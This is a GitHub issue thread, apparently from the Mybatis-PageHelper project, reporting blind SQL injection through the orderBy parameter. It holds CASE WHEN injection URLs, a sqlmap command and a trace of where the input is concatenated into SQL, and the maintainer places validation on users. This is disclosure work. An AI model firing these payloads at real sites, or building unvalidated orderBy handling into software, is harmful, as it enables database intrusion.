pagehelper / Mybatis-PageHelper

Mybatis通用分页插件
https://mybatis.io
MIT License
12.21k stars 3.13k forks source link

PageHelper存在SQL注入漏洞 #653

Closed AlertMouse closed 2 years ago

AlertMouse commented 2 years ago

PageHelper的orderBy参数存在SQL注入漏洞【布尔型和时间性盲注】

使用环境

SpringBoot+Mybatis+MySQL

调用PageHelper

PageHelper.startPage(1, 10, [orderBy]);;
xxMapper.select(model); // select * from book

//BookMapper
@Repository
public interface BookMapper {

    @Select("select * from book")
    List<Book> queryBookList();
}
//BookService
@Service
public class BookService {
    @Autowired
    BookMapper bookMapper;

    public PageInfo<Book> findAllBookByPageS(int pageNum, int pageSize, String orderBy) {
        PageHelper.startPage(pageNum, pageSize, orderBy);
        List<Book> lists = bookMapper.queryBookList();
        PageInfo<Book> pageInfo = new PageInfo<Book>(lists);
        return pageInfo;

    }

    public List<Book> findAllBookByPageF(int pageNum, int pageSize, String orderBy) {
        PageHelper.startPage(pageNum, pageSize, orderBy);
        List<Book> lists = bookMapper.queryBookList();
        return lists;

    }

}

验证过程(布尔型盲注)

(因本人从事的是安全测试,Java代码基础薄弱,对于源码审计一块仅能定位到大致的位置,抱歉)

  1. 访问具有排序参数orderBy的页面

  2. 访问url:http://127.0.0.1:8080/testBook/testPageHelper1?pageNum=1&pageSize=10&orderBy=**(SELECT (CASE WHEN (1=1) THEN 'costprice' ELSE (SELECT 1 UNION SELECT 2) END))** image

  3. 访问url:http://127.0.0.1:8080/testBook/testPageHelper1?pageNum=1&pageSize=10&orderBy=**(SELECT (CASE WHEN (1=2) THEN 'costprice' ELSE (SELECT 1 UNION SELECT 2) END))**

image

  1. 使用sqlmap进行扫描,命令:python3 sqlmap.py -u "http://127.0.0.1:8080/testBook/testPageHelper1?pageNum=1&pageSize=10&orderBy=costprice*" --batch --dbms=mysql

image

  1. 在\com\github\pagehelper\parser\OrderByParser.java的converToOrderBySql函数中,将mapper的SQL语句与pageNum、pageSize、orderBy拼接起来

image

  1. 该函数直接将mapper的SQL语句【select * from book】与orderBy参数提交的值【 (SELECT (CASE WHEN (1=1) THEN 'costprice' ELSE (SELECT 1 UNION SELECT 2) END)) 】直接拼接了在一起

image

  1. converToOrderBySql返回的值就赋给了sql,sql=SELECT * FROM book order by (SELECT (CASE WHEN (1=1) THEN 'costprice' ELSE (SELECT 1 UNION SELECT 2) END))

image

  1. 在MySQL查看执行过的SQL语句历史,可以看到orderBy参数提交的参数被完整的放进了查询的SQL语句中【 SELECT * FROM book order by (SELECT (CASE WHEN (1=2) THEN 'costprice' ELSE (SELECT 1 UNION SELECT 2) END)) LIMIT 10 】

image

abel533 commented 2 years ago

order by会被注入,如果使用传入的参数,需要自己做好校验。

colinzhy commented 11 months ago

这个问题有更新吗?后续版本有解决吗? 还是说只能靠开发人员自行校验SQL注入问题?